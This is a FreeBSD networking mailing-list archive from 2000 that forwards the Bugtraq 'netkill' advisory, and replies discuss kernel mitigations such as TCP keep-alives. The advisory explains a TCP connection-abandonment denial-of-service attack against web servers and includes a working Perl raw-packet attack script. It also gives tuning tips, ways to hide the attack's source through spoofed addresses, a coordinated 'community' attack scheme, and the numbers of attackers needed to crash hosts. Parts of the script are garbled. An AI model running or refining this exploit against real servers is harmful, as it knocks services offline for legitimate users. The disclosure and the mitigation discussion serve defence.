keep-alives on all connections by default (we should probably do this anyway for other reasons) 3) Decrease the wait period in FIN-WAIT-1, especially if no ACKs received I'm not comfortable enough with the current TCP implementation to implement/commit this, but would be glad to provide decent testing resources to anyone who is bored enough to do it. Anyone else have any thoughts? Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services ---------- Forwarded message ---------- Date: Fri, 21 Apr 2000 13:17:41 -0400 From: stanislav shalunov To: BUGTRAQ@SECURITYFOCUS.COM Subject: netkill - generic remote DoS attack NAME netkill - generic remote DoS attack $Id: netkill,v 1.7 2000/04/20 18:56:22 shalunov Exp $ SUMMARY By exploiting features inherent to TCP protocol remote attackers can perform denial of service attacks on a wide array of target operating systems. The attack is most efficient against HTTP servers. A Perl script is enclosed to demonstrate the problem. The problem probably isn't "new"; I'm sure many people have thought about it before, even though I could not find references on public newsgroups and mailing lists. It's severe and should be fixed. BACKGROUND When TCPs communicate, each TCP allocates some resources to each connection. By repeatedly establishing a TCP connection and then abandoning it, a malicious host can tie up significant resources on a server. A Unix server may dedicate some number of mbufs (kernel data structures used to hold network-traffic-related data) or even a process to each of those connections. It'll take time before the connection times out and resources are returned to the system. If there are many outstanding abandoned connections of such sort, the system may crash, become unusable, or simply stop serving a particular port. AFFECTED SYSTEMS Any system that runs a TCP service that sends out data can be attacked this way. The efficiency of such attack would vary greatly depending on a very large number of factors. Web servers are particularly vulnerable to this attack because of the nature of the protocol (short request generates an arbitrarily long response). IMPACT Remote users can make service (such as HTTP) unavailable. For many operating systems, the servers can be crashed. (Which interrupts service and also has a potential of damaging filesystems.) THE MECHANISM This could be made to work against various services. We'll only discuss how it could be used against HTTP servers. The attack may or may not render the rest of the services (if any) provided by the machine unusable. The mechanism is quite simple: After instructing our kernel to not answer any packets from the target machine (most easily done by firewalling that box: with ipfw, "deny any from TARGET to any") we repeatedly initiate a new connection from a random port by sending a SYN packet, expecting a SYN+ACK response, and then sending our request (we could more traditionally first confirm SYN+ACK and only then send the request, but the way we do it saves packets). It is felt that attack is more efficient when static file is fetched this way rather than dynamic content. Nature of the file doesn't matter (graphics, text or plain HTML will do fine) but size is of great importance. What happens on the server when it receives these spurious requests? First of all, the kernel handles the TCP handshake; then, as we send our second packet and handshake is thus completed, a user application is notified about the request (accept system call returns, connection is now ESTABLISHED). At that time, kernel has the request data in receiving queue. The process reads the request (which is HTTP/1.0 without any keep- alive options), interprets it, and then writes some data into the file descriptor and closes it (connection goes into FIN_WAIT_1 state). Life then goes on with some mbufs eaten, if we reach this point. This attack comes in two flavors: mbufs exhaustion and process saturation. When doing mbufs exhaustion, one wants the user-level process on the other end to write the data without blocking and close the descriptor. Kernel will have to deal with all the data, and the user-level process will be free, so that we can send more requests this way and eventually consume all the mbufs or all physical memory, if mbufs are allocated dynamically. When doing process saturation, one wants user-level process to block while trying to write data. The architecture of many HTTP servers will allow serving only so many connections at a time. When we reach this number of connections the server will stop responding to legitimate users. If the server doesn't put a bound on the number of connections, we're still tying up resources and eventually the machine comes to a crawling halt. Mbufs exhaustion usually has no visible effect (other than thousands of connections in FIN_WAIT_1 state) until we reach a hard limit of the number of mbufs or mbuf clusters. At that point, the machine panics, dumps kernel core, reboots, checks filesystems, recovers core dump--all time-consuming operations. (This is what happens, say, with FreeBSD and other BSD-derived systems; it worked for me against a machine with maxusers=256 and 512MB of RAM.) Some other systems, such as Linux, seem to happily allocate arbitrary amount of memory for mbuf clusters. This memory cannot be paged out. Once we start approaching the physical memory size, machine becomes completely unusable and stays so. Process saturation usually exhibits itself in server being extremely slow when accepting new connections. On the machine itself there's a large number of ESTABLISHED connections, and a large number of processes/threads visible. Once the process saturation attack reaches success and while it lasts, clients trying to connect to the server usually all time out. But if they manage to establish a connection (this is only tested with Apache) the server may not send any data for a long time. I don't know the reason for this. SOME NUMERIC ESTIMATES Due to lack of consenting targets and time I have not done any attacks over modem dial-up links. So this section is mostly speculation. Let T be the average time that the target system retains a connection of given kind, R be the average time between two "hits" by one attacking system, N be the number of attacking systems, and A be the number of packets the victim sends before resetting connection when peer is unresponsive. Then, after T seconds since the beginning of the attack, the victim will have N*T/R hung connections. That number won't change much afterwards. A "typical" BSD system with maxusers=64 would have 1536 mbuf clusters. It looks like T is around 500s. So, if we can get R=.3s (easily done if we have a good connection) we can crash it from a single client. For dial-up, a more realistic value of R would be around 2s (adjusted for redials). So, six or so co- operating dial-up attackers are required to crash the target. (In real life we might need more attackers; I guess ten should be enough.) Linux doesn't have a limit on the number of mbuf clusters, and it keeps connections hanging around longer (T=1400s). In my tests, I was able to let it accept 48K of data into the send queue and let the process move on. This means that a single dial-up attacker can lock about 33MB in non-paged kernel memory. Four dial-up attackers seem to be able to destroy a 128MB machine. A single well-connected client can do the same, for even bigger machines. Process saturation is even easier. Assuming (optimistically for the victim) T=500, R=2s, a single dial-up user can tie 250 instances of the HTTP server. For most configurations, that's the end of the service. MAKING NETKILL MORE EFFICIENT TCP is a complicated business. Parameters and timing is everything. Tweaking the window size and the delays makes a lot of difference. Parallel threads of execution increase efficiency in some settings. I've not included code for that, so one will have to start several copies of netkill. For maximum efficiency, don't mix the types of attack. Starting netkill on several machines has a lot of impact. Increasing the number of BPF devices on a BSD system may be necessary. Netkill does consume bandwidth, even though it's not a flooding tool. Ironically, most of the traffic is produced by the victim systems, and the traffic is directed to attack systems. If the attacking systems have T1 or greater connectivity, this is of little consequence. However, if netkill is used from a modem dial-up connection it'll be necessary for the attacker to redial often to get a new IP number. Cable modems seem to be unsuitable for launching this attack: bandwidth is not sufficient, and IP number cannot be changed. One might want to conceal the origin of the attack. Since a TCP connection is established, we must either be able to see SYN+ACK or to guess the remote initial sequence number. It is felt that full-blown IP spoofing with predicting sequence numbers would make this attack inefficient, even if ISNs are not properly randomized by the remote end. What one might do is to send the queries from an unused IP on the same network. This would have the added benefit that it would become unnecessary to firewall the target. If the network administrator is not very skilled, it might take significant time for the true source of attack to be discovered. One could further fake link-layer source address (if the OS would allow that) and make the source even harder to discover. DISTRIBUTED ATTACK APPLICATIONS We've seen a number of distributed attack tools in the last few months become publicly available. They mostly simply flood the network with UDP packets and all kinds of garbage. This attack is different from those: Rather than saturating the link, this attack saturates some resources on the target machines. If used in combination with a controlling daemon from a large number of hosts, this attack will have very devastating effect on Web-serving infrastructure. Much more devastating than trin00, TFN, or Stacheldraht. (When used in a distributed setting, Perl with a non-standard module may not be the executable format of choice. The Perl script would probably be compiled into a statically linked native machine format executable using the O module. This will also require building a .a format RawIP library.) An interesting application of netkill would be "Community netkill": a large number of people (say, readers of the same newsgroups or of the same website) could coordinate their resources and start using netkill on a pre-specified target in a pre-specified time interval. Since each person would send only a few packets, it would be hard to accuse them of doing anything evil ("I just opened this page, and then my modem disconnected"), but this attack can pretty much destroy anything. INTERACTION WITH LOAD BALANCERS I don't have a Cisco Local Director, a Foundry box, or a NetApp NetCache at hand for testing, and I have not had a chance to test against these. Everything in this section is pure speculation. The effects on a load-balancing farm of servers will depend on how the load balancing is organized. For load-balancers that simply forward packets for each connection to a chosen server, the attacker is given the opportunity to destroy all the machines that the load balancer serves. So, it doesn't offer any protection. The load-balancer itself will most likely remain unaffected. If the "sticky bit" is set on the load balancer, an attacker operating from a single IP will only be able to affect a single system at a time. For load-balancers that establish connections and pump data back and forth (this includes reverse proxies), the servers themselves are protected and the target of the attack is the load-balancer itself. It's probably more resilient to the attack than a regular host, but with a distributed attack it can certainly be taken down. Then the whole service becomes unavailable at once. Round-robin DNS load-balancing schemes are not really different from just individual servers. Redirect load-balancing is probably most vulnerable, because the redirect box is the single point of failure, and it's not a specialized piece of hardware, like a reverse proxy. (The redirector can be a farm of machines load-balanced in another way; still this setup is more vulnerable than, say, load- balancing all available servers using a Cisco Local Director.) TELL-TALE SIGNS It is prudent to implement some of the suggestions from the "Workarounds" session even if you are not under attack and do not expect an attack. However, if service is interrupted the following signs will help identify that a tool similar to netkill is used against you: * Your HTTP servers have hundreds or thousands of connections to port 80 in FIN_WAIT_1 state. * The ratio (number of outgoing packets/number of incoming packets) is unusually high. * There's a large number of connections to port 80 in ESTABLISHED state, and most of them have the same length of send queue. (Or, there are large groups of connections sharing the same non-zero value of the length of send queue.) WORKAROUNDS There can be several strategies. None give you a lot of protection. They can be combined. * Identify offending sources as they appear and block them at your firewall. * Don't let strangers send TCP packets to your servers. Use a hardware reverse proxy. Make sure the proxy can be rebooted very fast. * Have a lot of memory in your machines. Increase the number of mbuf clusters to a very large number. * If you're using a Cisco Local Director, enable the "sticky" option. That's not going to help much against a distributed attack, but would limit the damage done from a single IP. Still something. * If you have a router or firewall that can throttle per-IP incoming rates of certain packets, then something like "one SYN per X seconds per IP" might limit the damage. You could set X to 1 by default and raise it to 5 in case of an actual attack. Image loading by browsers which don't do HTTP Keep- Alives will be very slow. * You could fake the RSTs. Set up a BSD machine that can sniff all the HTTP traffic. Kill (send RST with the correct sequence number) any HTTP connection such that the client has not sent anything in last X seconds. You could set X to 60 by default and lower it to 5 in case of an actual attack. A combination of these might save your service. The first method, while being most labor- and time-consuming is probably the most efficient. It has the added benefit that the attackers will be forced to reveal more and more machines that they control. You can later go to their administrators and let them know. The last two methods might do you more harm than good, especially if you misconfigure something. But the last method is also the most efficient. THE FIX Network Administrators should turn to the Workarounds section instead. We're dealing here with features inherent to TCP. It can be fixed, but the price to pay is making TCP less reliable. However, when the machine crashes, TCP becomes very unreliable, to say the least. Let's address mbufs exhaustion first. When the machine crashes, is there anything better to do? Obviously. Instead of calling panic(), the kernel might randomly free some 25% of mbufs chains, giving some random preference to ESTABLISHED connections. All the applications using sockets associated with these mbufs would be notified with a failed system call (ENOBUFS). Sure, that's not very pleasant. But is a crash better? Systems that do not currently impose a limit on the number of mbufs (e.g., Linux) should do so and use the above technique when the limit is reached. An alternative opinion is that the kernel should stop accepting new connections when there's no more memory for TCBs available. In my opinion, while this addresses the problem of OS crashes (which is an undeniable bug), it doesn't address the DoS aspect: the attacker denies service to most users by spending only a small amount of resources (mostly bandwidth). Process saturation is an application problem, really, and can only be solved on application level. Perhaps, Apache should be taught to put a timeout on network writes. Perhaps, the default limit on the number of children should be very significantly raised. Perhaps, Apache could drop connections that have not done anything in the last 2*2MSL. EXPLOIT CODE: CAVEAT EMPTOR The program takes a number of arguments. To prevent script kiddies from destroying too much of the Web, I made the default values not-so-efficient (but enough to demonstrate that the problem exists). You'll have to understand how it works to make the best use out of it, if you decide to further research the problem. With the default values, it at least won't crash a large server over a dial-up connection. ACKNOWLEDGMENTS I would like to thank D. J. Bernstein, Alan Cox, Guido van Rooij, and Alexander Shen for fruitful discussion of the problem. LEGAL CONDITIONS Copyright (C) Stanislav Shalunov, 2000. In this section, "you" refers to the recipient of this software and/or documentation (it may be a person or an organization). You may use netkill for research and education purposes. If you actually run the program, all the hosts that you run it from, and the hosts that you specify on the command line, and all the network path between them, must be legally owned by you. Any other use is strictly prohibited, including, but not limited to, use to perform denial of service or other attacks against or through computer networks and computers. You may redistribute netkill Perl source with embedded POD documentation verbatim. You may distribute documentation produced from the original netkill distribution by automated methods freely. You may also make changes to netkill and distribute resulting software and documentation free of charge. If you do so, you must include this section verbatim into any copy that you redistribute, and you must also state clearly that this is not the original version. This software and any derived work may not be distributed without documentation. This software and documentation is provided "AS IS" and any express or implied warranties, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose are disclaimed. In no event shall the author or any party associated with the author be liable for any direct, indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or services; loss of use, data, or profits; or business interruption) however caused and on any theory of liability, whether in contract, strict liability, or tort (including negligence or otherwise) arising in any way out of the use, misuse, or lack of use of this software and/or documentation, even if advised of the possibility of such damage. -------------------- cut here -------------------- #!/usr/bin/perl -w # netkill - generic remote DoS attack =pod =head1 NAME netkill - generic remote DoS attack $Id: netkill,v 1.7 2000/04/20 18:56:22 shalunov Exp $ =head1 SUMMARY By exploiting features inherent to TCP protocol remote attackers can perform denial of service attacks on a wide array of target operating systems. The attack is most efficient against HTTP servers. A Perl script is enclosed to demonstrate the problem. The problem probably isn't "new"; I'm sure many people have thought about it before, even though I could not find references on public newsgroups and mailing lists. It's severe and should be fixed. =head1 BACKGROUND When TCPs communicate, each TCP allocates some resources to each connection. By repeatedly establishing a TCP connection and then abandoning it, a malicious host can tie up significant resources on a server. A Unix server may dedicate some number of mbufs (kernel data structures used to hold network-traffic-related data) or even a process to each of those connections. It'll take time before the connection times out and resources are returned to the system. If there are many outstanding abandoned connections of such sort, the system may crash, become unusable, or simply stop serving a particular port. =head1 AFFECTED SYSTEMS Any system that runs a TCP service that sends out data can be attacked this way. The efficiency of such attack would vary greatly depending on a very large number of factors. Web servers are particularly vulnerable to this attack because of the nature of the protocol (short request generates an arbitrarily long response). =head1 IMPACT Remote users can make service (such as HTTP) unavailable. For many operating systems, the servers can be crashed. (Which interrupts service and also has a potential of damaging filesystems.) =head1 THE MECHANISM This could be made to work against various services. We'll only discuss how it could be used against HTTP servers. The attack may or may not render the rest of the services (if any) provided by the machine unusable. The mechanism is quite simple: After instructing our kernel to not answer any packets from the target machine (most easily done by firewalling that box: with ipfw, "deny any from TARGET to any") we repeatedly initiate a new connection from a random port by sending a SYN packet, expecting a SYN+ACK response, and then sending our request (we could more traditionally first confirm SYN+ACK and only then send the request, but the way we do it saves packets). It is felt that attack is more efficient when static file is fetched this way rather than dynamic content. Nature of the file doesn't matter (graphics, text or plain HTML will do fine) but size is of great importance. What happens on the server when it receives these spurious requests? First of all, the kernel handles the TCP handshake; then, as we send our second packet and handshake is thus completed, a user application is notified about the request (accept system call returns, connection is now ESTABLISHED). At that time, kernel has the request data in receiving queue. The process reads the request (which is HTTP/1.0 without any keep-alive options), interprets it, and then writes some data into the file descriptor and closes it (connection goes into FIN_WAIT_1 state). Life then goes on with some mbufs eaten, if we reach this point. This attack comes in two flavors: mbufs exhaustion and process saturation. When doing mbufs exhaustion, one wants the user-level process on the other end to write the data without blocking and close the descriptor. Kernel will have to deal with all the data, and the user-level process will be free, so that we can send more requests this way and eventually consume all the mbufs or all physical memory, if mbufs are allocated dynamically. When doing process saturation, one wants user-level process to block while trying to write data. The architecture of many HTTP servers will allow serving only so many connections at a time. When we reach this number of connections the server will stop responding to legitimate users. If the server doesn't put a bound on the number of connections, we're still tying up resources and eventually the machine comes to a crawling halt. Mbufs exhaustion usually has no visible effect (other than thousands of connections in FIN_WAIT_1 state) until we reach a hard limit of the number of mbufs or mbuf clusters. At that point, the machine panics, dumps kernel core, reboots, checks filesystems, recovers core dump--all time-consuming operations. (This is what happens, say, with FreeBSD and other BSD-derived systems; it worked for me against a machine with maxusers=256 and 512MB of RAM.) Some other systems, such as Linux, seem to happily allocate arbitrary amount of memory for mbuf clusters. This memory cannot be paged out. Once we start approaching the physical memory size, machine becomes completely unusable and stays so. Process saturation usually exhibits itself in server being extremely slow when accepting new connections. On the machine itself there's a large number of ESTABLISHED connections, and a large number of processes/threads visible. Once the process saturation attack reaches success and while it lasts, clients trying to connect to the server usually all time out. But if they manage to establish a connection (this is only tested with Apache) the server may not send any data for a long time. I don't know the reason for this. =head1 SOME NUMERIC ESTIMATES Due to lack of consenting targets and time I have not done any attacks over modem dial-up links. So this section is mostly speculation. Let T be the average time that the target system retains a connection of given kind, R be the average time between two "hits" by one attacking system, N be the number of attacking systems, and A be the number of packets the victim sends before resetting connection when peer is unresponsive. Then, after T seconds since the beginning of the attack, the victim will have N*T/R hung connections. That number won't change much afterwards. A "typical" BSD system with maxusers=64 would have 1536 mbuf clusters. It looks like T is around 500s. So, if we can get R=.3s (easily done if we have a good connection) we can crash it from a single client. For dial-up, a more realistic value of R would be around 2s (adjusted for redials). So, six or so co-operating dial-up attackers are required to crash the target. (In real life we might need more attackers; I guess ten should be enough.) Linux doesn't have a limit on the number of mbuf clusters, and it keeps connections hanging around longer (T=1400s). In my tests, I was able to let it accept 48K of data into the send queue and let the process move on. This means that a single dial-up attacker can lock about 33MB in non-paged kernel memory. Four dial-up attackers seem to be able to destroy a 128MB machine. A single well-connected client can do the same, for even bigger machines. Process saturation is even easier. Assuming (optimistically for the victim) T=500, R=2s, a single dial-up user can tie 250 instances of the HTTP server. For most configurations, that's the end of the service. =head1 MAKING NETKILL MORE EFFICIENT TCP is a complicated business. Parameters and timing is everything. Tweaking the window size and the delays makes a lot of difference. Parallel threads of execution increase efficiency in some settings. I've not included code for that, so one will have to start several copies of netkill. For maximum efficiency, don't mix the types of attack. Starting netkill on several machines has a lot of impact. Increasing the number of BPF devices on a BSD system may be necessary. Netkill does consume bandwidth, even though it's not a flooding tool. Ironically, most of the traffic is produced by the victim systems, and the traffic is directed to attack systems. If the attacking systems have T1 or greater connectivity, this is of little consequence. However, if netkill is used from a modem dial-up connection it'll be necessary for the attacker to redial often to get a new IP number. Cable modems seem to be unsuitable for launching this attack: bandwidth is not sufficient, and IP number cannot be changed. One might want to conceal the origin of the attack. Since a TCP connection is established, we must either be able to see SYN+ACK or to guess the remote initial sequence number. It is felt that full-blown IP spoofing with predicting sequence numbers would make this attack inefficient, even if ISNs are not properly randomized by the remote end. What one might do is to send the queries from an unused IP on the same network. This would have the added benefit that it would become unnecessary to firewall the target. If the network administrator is not very skilled, it might take significant time for the true source of attack to be discovered. One could further fake link-layer source address (if the OS would allow that) and make the source even harder to discover. =head1 DISTRIBUTED ATTACK APPLICATIONS We've seen a number of distributed attack tools in the last few months become publicly available. They mostly simply flood the network with UDP packets and all kinds of garbage. This attack is different from those: Rather than saturating the link, this attack saturates some resources on the target machines. If used in combination with a controlling daemon from a large number of hosts, this attack will have very devastating effect on Web-serving infrastructure. Much more devastating than trin00, TFN, or Stacheldraht. (When used in a distributed setting, Perl with a non-standard module may not be the executable format of choice. The Perl script would probably be compiled into a statically linked native machine format executable using the O module. This will also require building a .a format RawIP library.) An interesting application of netkill would be "Community netkill": a large number of people (say, readers of the same newsgroups or of the same website) could coordinate their resources and start using netkill on a pre-specified target in a pre-specified time interval. Since each person would send only a few packets, it would be hard to accuse them of doing anything evil ("I just opened this page, and then my modem disconnected"), but this attack can pretty much destroy anything. =head1 INTERACTION WITH LOAD BALANCERS I don't have a Cisco Local Director, a Foundry box, or a NetApp NetCache at hand for testing, and I have not had a chance to test against these. Everything in this section is pure speculation. The effects on a load-balancing farm of servers will depend on how the load balancing is organized. For load-balancers that simply forward packets for each connection to a chosen server, the attacker is given the opportunity to destroy all the machines that the load balancer serves. So, it doesn't offer any protection. The load-balancer itself will most likely remain unaffected. If the "sticky bit" is set on the load balancer, an attacker operating from a single IP will only be able to affect a single system at a time. For load-balancers that establish connections and pump data back and forth (this includes reverse proxies), the servers themselves are protected and the target of the attack is the load-balancer itself. It's probably more resilient to the attack than a regular host, but with a distributed attack it can certainly be taken down. Then the whole service becomes unavailable at once. Round-robin DNS load-balancing schemes are not really different from just individual servers. Redirect load-balancing is probably most vulnerable, because the redirect box is the single point of failure, and it's not a specialized piece of hardware, like a reverse proxy. (The redirector can be a farm of machines load-balanced in another way; still this setup is more vulnerable than, say, load-balancing all available servers using a Cisco Local Director.) =head1 TELL-TALE SIGNS It is prudent to implement some of the suggestions from the "Workarounds" session even if you are not under attack and do not expect an attack. However, if service is interrupted the following signs will help identify that a tool similar to netkill is used against you: =over 4 =item * Your HTTP servers have hundreds or thousands of connections to port 80 in FIN_WAIT_1 state. =item * The ratio (number of outgoing packets/number of incoming packets) is unusually high. =item * There's a large number of connections to port 80 in ESTABLISHED state, and most of them have the same length of send queue. (Or, there are large groups of connections sharing the same non-zero value of the length of send queue.) =back =head1 WORKAROUNDS There can be several strategies. None give you a lot of protection. They can be combined. =over 4 =item * Identify offending sources as they appear and block them at your firewall. =item * Don't let strangers send TCP packets to your servers. Use a hardware reverse proxy. Make sure the proxy can be rebooted very fast. =item * Have a lot of memory in your machines. Increase the number of mbuf clusters to a very large number. =item * If you're using a Cisco Local Director, enable the "sticky" option. That's not going to help much against a distributed attack, but would limit the damage done from a single IP. Still something. =item * If you have a router or firewall that can throttle per-IP incoming rates of certain packets, then something like "one SYN per X seconds per IP" might limit the damage. You could set X to 1 by default and raise it to 5 in case of an actual attack. Image loading by browsers which don't do HTTP Keep-Alives will be very slow. =item * You could fake the RSTs. Set up a BSD machine that can sniff all the HTTP traffic. Kill (send RST with the correct sequence number) any HTTP connection such that the client has not sent anything in last X seconds. You could set X to 60 by default and lower it to 5 in case of an actual attack. =back A combination of these might save your service. The first method, while being most labor- and time-consuming is probably the most efficient. It has the added benefit that the attackers will be forced to reveal more and more machines that they control. You can later go to their administrators and let them know. The last two methods might do you more harm than good, especially if you misconfigure something. But the last method is also the most efficient. =head1 THE FIX Network Administrators should turn to the Workarounds section instead. We're dealing here with features inherent to TCP. It can be fixed, but the price to pay is making TCP less reliable. However, when the machine crashes, TCP becomes very unreliable, to say the least. Let's address mbufs exhaustion first. When the machine crashes, is there anything better to do? Obviously. Instead of calling panic(), the kernel might randomly free some 25% of mbufs chains, giving some random preference to ESTABLISHED connections. All the applications using sockets associated with these mbufs would be notified with a failed system call (ENOBUFS). Sure, that's not very pleasant. But is a crash better? Systems that do not currently impose a limit on the number of mbufs (e.g., Linux) should do so and use the above technique when the limit is reached. An alternative opinion is that the kernel should stop accepting new connections when there's no more memory for TCBs available. In my opinion, while this addresses the problem of OS crashes (which is an undeniable bug), it doesn't address the DoS aspect: the attacker denies service to most users by spending only a small amount of resources (mostly bandwidth). Process saturation is an application problem, really, and can only be solved on application level. Perhaps, Apache should be taught to put a timeout on network writes. Perhaps, the default limit on the number of children should be very significantly raised. Perhaps, Apache could drop connections that have not done anything in the last 2*2MSL. =head1 EXPLOIT CODE: CAVEAT EMPTOR The program takes a number of arguments. To prevent script kiddies from destroying too much of the Web, I made the default values not-so-efficient (but enough to demonstrate that the problem exists). You'll have to understand how it works to make the best use out of it, if you decide to further research the problem. With the default values, it at least won't crash a large server over a dial-up connection. =head1 ACKNOWLEDGMENTS I would like to thank D. J. Bernstein, Alan Cox, Guido van Rooij, and Alexander Shen for fruitful discussion of the problem. =head1 LEGAL CONDITIONS Copyright (C) Stanislav Shalunov, 2000. In this section, "you" refers to the recipient of this software and/or documentation (it may be a person or an organization). You may use netkill for research and education purposes. If you actually run the program, all the hosts that you run it from, and the hosts that you specify on the command line, and all the network path between them, must be legally owned by you. Any other use is strictly prohibited, including, but not limited to, use to perform denial of service or other attacks against or through computer networks and computers. You may redistribute netkill Perl source with embedded POD documentation verbatim. You may distribute documentation produced from the original netkill distribution by automated methods freely. You may also make changes to netkill and distribute resulting software and documentation free of charge. If you do so, you must include this section verbatim into any copy that you redistribute, and you must also state clearly that this is not the original version. This software and any derived work may not be distributed without documentation. This software and documentation is provided "AS IS" and any express or implied warranties, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose are disclaimed. In no event shall the author or any party associated with the author be liable for any direct, indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or services; loss of use, data, or profits; or business interruption) however caused and on any theory of liability, whether in contract, strict liability, or tort (including negligence or otherwise) arising in any way out of the use, misuse, or lack of use of this software and/or documentation, even if advised of the possibility of such damage. =cut use strict; use Net::RawIP ':pcap'; # Available from CPAN. use Socket; use Getopt::Std; # Process command line arguments. my %options; getopts('zvp:t:r:u:w:i:d:', \%options) or usage(); my $zero_window = $options{z}; # Close window in second packet? my $verbose = $options{v}; # Print progress indicators? my $d_port = $options{p} || 80; # Destination port. my $timeout = $options{t} || 1; # Timeout for pcap. my $fake_rtt = $options{r} || 0.05; # Max sleep between SYN and data. my $url = $options{u} || '/'; # URL to request. my $window = $options{w} || 16384; # Window size. my $interval = $options{i} || 0.5; # Sleep time between `connections.' my $numpackets = $options{d} || -1; # Number of tries (-1 == infty). my $d_name = shift or usage(); # Target host name. shift and usage(); # Complain if other args present. # This is what we send to the remote host. # XXX: Must fit into one packet. my $data = "GET $url HTTP/1.0\015\012\015\012"; # Two network EOLs in the end. my ($d_canon, $d_ip) = (gethostbyname($d_name))[0,4] # Resolve $d_name once. or die "$d_name: Unknown host\n"; my $d_ip_str = inet_ntoa($d_ip); # Filter wants string representation. my $dev = rdev($d_name) or die "$d_name: Cannot find outgoing interface\n"; my $s_ip_str = ${ifaddrlist()}{$dev} or die "$dev: Cannot find IP\n"; $| = 1 if $verbose; print < {}}); my $filter = # pcap filter to get SYN+ACK. "src $d_ip_str and tcp src port $d_port and tcp dst port $s_port"; local $^W; # Unfortunately, Net::RawIP is not -w - OK. my $pcap; # If we don't have enough resources locally, pcapinit will die/croak. # We want to catch the error, hence eval. eval q{$pcap = $packet->pcapinit($dev, $filter, 1500, $timeout)}; $verbose? die "$@child died": exit 1 if $@; my $offset = linkoffset($pcap); # Link header length (14 or whatever). $^W = 1; # Send the first packet: SYN. $packet->set({ip=> {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0, tos=>0, id=>int rand 50000}, tcp=> {source=>$s_port, dest=>$d_port, syn=>1, window=>$window, seq=>$my_seq}}); $packet->send; my $temp; # Put their SYN+ACK (binary packed string) into $ipacket. my $ipacket = &next($pcap, $temp); exit 1 unless $ipacket; # Timed out waiting for SYN+ACK. my $tcp = new Net::RawIP({tcp => {}}); # Load $ipacket without link header into a readable data structure. $tcp->bset(substr($ipacket, $offset)); $^W = 0; # All we want from their SYN+ACK is their sequence number. my ($his_seq) = $tcp->get({tcp=>['seq']}); # It might increase the interval between retransmits with some # TCP implementations if we wait a little bit here. select(undef, undef, undef, rand $fake_rtt); # Send ACK for SYN+ACK and our data all in one packet. # The spec allows it, and it works. # Who told you about "three-way handshake"? $packet->set({ip=> {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0, tos=>0, id=>int rand 50000}, tcp=> {source=>$s_port, dest=>$d_port, psh=>1, syn=>0, ack=>1, window=>$zero_window? 0: $window, ack_seq=>++$his_seq, seq=>++$my_seq, data=>$data}}); $packet->send; # At this point, if our second packet is not lost, the connection is # established. They can try to send us as much data as they want now: # We're not listening anymore. # If our second packet is lost, they'll have a SYN_RCVD connection. # Hopefully, they can handle even a SYN flood. exit 0; } } exit(0); sub usage { die < -v: Be verbose. Recommended for interactive use. -z: Close TCP window at the end of the conversation. -p: Port HTTP daemon is running on (default: 80). -t: Timeout for SYN+ACK to come (default: 1s, must be integer). -r: Max fake rtt, sleep between S+A and data packets (defeault: 0.05s). -u: URL to request (default: `/'). -w: Window size (default: 16384). Can change the type of attack. -i: Max sleep between `connections' (default: 0.5s). -d: How many times to try to hit (default: infinity). See "perldoc netkill" for more information. EOF } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sat Apr 22 10: 0:20 2000 Delivered-To: freebsd-net@freebsd.org Received: from assaris.sics.se (assaris.sics.se [193.10.66.234]) by hub.freebsd.org (Postfix) with ESMTP id 42C8637B769; Sat, 22 Apr 2000 10:00:17 -0700 (PDT) (envelope-from assar@assaris.sics.se) Received: (from assar@localhost) by assaris.sics.se (8.9.3/8.9.3) id TAA07241; Sat, 22 Apr 2000 19:00:10 +0200 (CEST) (envelope-from assar) To: Robert Watson Cc: freebsd-net@FreeBSD.ORG Subject: Re: netkill - generic remote DoS attack (fwd) References: From: Assar Westerlund Date: 22 Apr 2000 19:00:10 +0200 In-Reply-To: Robert Watson's message of "Sat, 22 Apr 2000 11:29:22 -0400 (EDT)" Message-ID: <5lu2guhy05.fsf@assaris.sics.se> Lines: 11 User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Robert Watson writes: > 2) Enable keep-alives on all connections by default (we should probably do > this anyway for other reasons) I thought phk had already done this? net.inet.tcp.always_keepalive: 1 See defaults/rc.conf:1.10 /assar To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-net" in the body of the message From owner-freebsd-net Sat Apr 22 11:24:36 2000 Delivered-To: freebsd-net@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 6058637B759 for ; Sat, 22 Apr 2000 11:24:33 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id OAA01768; Sat, 22 Apr 2000 14:24:24 -0400 (EDT) (envelope-from robert@cyrus.watson.org) Date: Sat, 22 Apr 2000 14:24:23 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org To: Assar Westerlund Cc: freebsd-net@FreeBSD.ORG Subject: Re: netkill - generic remote DoS attack (fwd) In-Reply-To: <5lu2guhy05.fsf@assaris.sics.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-net@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 22 Apr 2000, Assar Westerlund wrote: > Robert Watson writes: > > 2) Enable keep-alives on all connections by default (we should probably do > > this anyway for other reasons) > > I thought phk had already done this? > > net.inet.tcp.always_keepalive: 1 > > See defaults/rc.conf:1.10 Any idea what the default idle time before keepalives kick in is? Presumably would could adaptively change that time as the legitimacy of the connection is determined -- i.e., really short keepalive time early in the connection, longer later once the connection has had the opportunity to in some way demonstrate increased legitimacy. Of course, attacks can always become more sophisticated, but I think it's worth handling the network-layer protocol limitations either way, as it improves scalability, et al. We do have to be careful not to over-increase the brittleness of the TCP implementation as a side effect, however. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP 